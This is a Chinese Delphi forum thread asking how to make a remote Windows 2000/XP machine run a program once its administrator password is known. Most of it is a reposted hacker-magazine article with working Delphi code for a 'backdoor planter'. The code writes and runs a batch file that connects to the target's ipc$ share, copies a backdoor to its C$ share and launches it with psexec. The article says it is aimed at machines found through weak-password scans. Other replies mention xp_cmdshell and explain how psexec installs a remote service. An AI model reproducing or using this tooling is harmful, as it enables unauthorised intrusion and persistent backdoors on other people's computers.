知道对方(2k/xp)机器的管理员用户名和密码,如何让其执行一个程序?(200分)

  • 主题发起人 主题发起人 aloneforu
  • 开始时间 开始时间
A

aloneforu

Unregistered / Unconfirmed
GUEST, unregistred user!
在不安装木马的情况下,不要跟我说用at命令!如何用程序实现让远程计算机执行一个程序?
 
可以用psexec.exe这个软件.
 
可以在sql中执行xp_cmdshell命令,其它的方法我也想晓得。
http://www.delphibbs.com/delphibbs/dispq.asp?lid=2331045
 
请注意:我说的是程序如何实现,另,对方不一定会装mssql
 
I want to know !
 
net start?
 
编写一个能种植后门的程序



作者:sforever (发表于《黑客防线》2003年第8期)

写作此程序的目的:我们经常能够使用扫描软件扫描到很多windows 2000系统的弱口令用户,然而在得到这些用户名和密码后,安装后门的过程通常会变的很烦琐。需要在命令提示符下输入很多命令。我是一个很懒惰的人,很不习惯这样工作,并且这种工作也很浪费时间。并且我很喜欢使用有界面的程序,虽然这对于很多高手来说是可耻的 。

小榕的流光估计大家都用过,其中有一个功能,叫做“IPC种植者”。可以在得知对方管理员帐号和密码的情况下,轻松的种植一个后门到对方机器上。不过流光体积非常的庞大,如果是不固定上网的话,携带起来非常的不方便。并且现在流光正在更新版本,旧版本已经过期了。另外对于我个人来说,比较喜欢短小精干的软件。所以才促使我写一个比较适合自己的“种植者”软件。

写作前的分析:我知道流光是使用VC编写的,它首先通过跟远程主机建立好IPC连接通道,然后把后门程序拷贝到对方计算机上,再利用AT命令来启动后门程序。而我对VC并不了解,所以只好使用自己比较熟悉的DELPHI来写了。我曾经在网络上看到过一个远程安装后门的批处理文件。是一个叫“木狐”的网友写的。当时很受启发,我测试了一下,可以很好的实现类似“种植者”的功能,不过需要借助一款软件来达到目的——psexec.exe,psexec.exe的功能很强大,它可以远程执行对方计算机上的程序。不过话又说回来了“木狐”的东西也有很多不足之处,使用起来还是让我感觉很烦琐(比如涉及到的文件太多,对新手来说不知道运行那一个才好,另外还是脱离不了在命令提示符下使用)。结合上面的一些思路,我们可以使用DELPHI来编写一个具有图形界面的程序。但是此程序的主要运行过程是通过调用批处理文件来实现的(我当然没有小榕的编程功力,所以只好偷机取巧了)。

程序编写:因为我们程序运行时需要利用一个psexec.exe文件,所以我们最好把这个文件捆绑到我们程序的内部,当执行程序的时候,能自动释放一个psexec.exe文件出来,并且释放的位置最好是在系统目录。我经过测试,如果psexec.exe释放到其它目录,有时候程序运行会不成功。并且产生的批处理文件也要在系统目录下。

//首先要得到系统目录的路径
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'/' then Result := Result + '/';
end;

//程序运行后,产生一个psexec.exe文件到系统目录中。在单元文件{$R *.dfm}后加上一句{$R psexec.RES} ,至于psexec.RES文件的产生的,我在这里不详细说了。大家可以看陈经韬的文章《谈Delphi编程中资源文件的应用》。
procedure TForm1.FormCreate(Sender: TObject);
function EXEResFile(const ResName,ResType,NewFile:String):Boolean;
var
Res : TResourceStream;
begin
Result:=True;
try
Res:= TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(NewFile);
finally
Res.Free;
end;
except
Result:=False;
end;
end;

function psexecFile(const NewFile:String):Boolean;
begin
Result:=EXEResFile('psexec','exefile',GetWinDir+NewFile);
end;

begin
if not(FileExists(GetWinDir+'psexec.exe')) then
psexecFile('psexec.exe');
end;

//程序的主要运行过程
BatchFileName := GetWinDir + 'run.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);
Writeln(BatchFile, '@ECHO off');
Writeln(BatchFile, '@ECHO ============================ZyNetIpc$==============================');
Writeln(BatchFile, '@ECHO');
Writeln(BatchFile, '@ECHO ==========By sforever Welcome to http://sforever.mycool.net========');
Writeln(BatchFile, '@net use //'+edit1.text+'/ipc$ "'+edit3.text+'" /user:"'+edit2.text+'"');
Writeln(BatchFile, '@copy '+edit4.text+' //'+edit1.text+'/c$');
Writeln(BatchFile, '@psexec //'+edit1.text+' c:/'+extractfilename(edit4.text)+'');
Writeln(BatchFile, '@net use //'+edit1.text+'/ipc$ /delete');
CloseFile(BatchFile);
CreateProcess(nil, PChar(BatchFileName), nil, nil,False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,ProcessInfo);
其中 edit1.text为对方的IP地址,edit2.text为对方的用户帐号,edit3.text为对方的用户密码,edit4.text为后门程序路径(本地)。通过代码我们可以看出来,程序运行时可以在系统目录下产生一个run.bat批处理文件,然后运行这个批处理文件并结合软件psexec来实现后门的种植。以上代码是拷贝后门程序到对方系统的C盘下,你也可以自行修改拷贝的位置。

最后总结:到此为止,我们的程序就写完了,我经过大量的测试,上面的方法的确很方便的实现了后门软件的种植。以下是我所写的程序界面:



如果对这款软件比较感兴趣的话,可以访问我的主页http://sforever.mycool.net 上面有完整的软件和源代码下载。




 
有管理员帐号密码就简单啦
用psexec.exe 就可以了,有空的话,你可以自己写一个psexec.exe,这种小玩意还是很好写的,如果你知道它的实现机制的话。 其核心原理就是拷贝一个文件到远程机器上(利用默认共享如//XXX/Admin$),然后用那个文件创建一个服务,启动他,这样你就有一个可以控制的程序跑在那台机上了,然后想做什么就做什么吧。 psexec.exe就是这么做的,不信你可以看看它跑的时候目标机器是不是多了一个服务在跑,系统目录下是不是多了一个文件。
 
在网上找run as的资料
 
其实我就想知道pcexec是如何实现的!
不过sforever的想法有点可行....(给50分可以吧?)
我想继续讨论!
by the way !pcexec哪里有下载?
 
学习!!高手!
 
顶一下
psexec哪里有下载???!
 
这帖子也太久了吧? 楼主还没找到吗?
http://www.sysinternals.com/files/psexec.zip
 
at命令就行了
 
不错~!!!!!!!!!1
 

Similar threads

S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
D
回复
0
查看
1K
DelphiTeacher的专栏
D
I
回复
0
查看
659
import
I
后退
顶部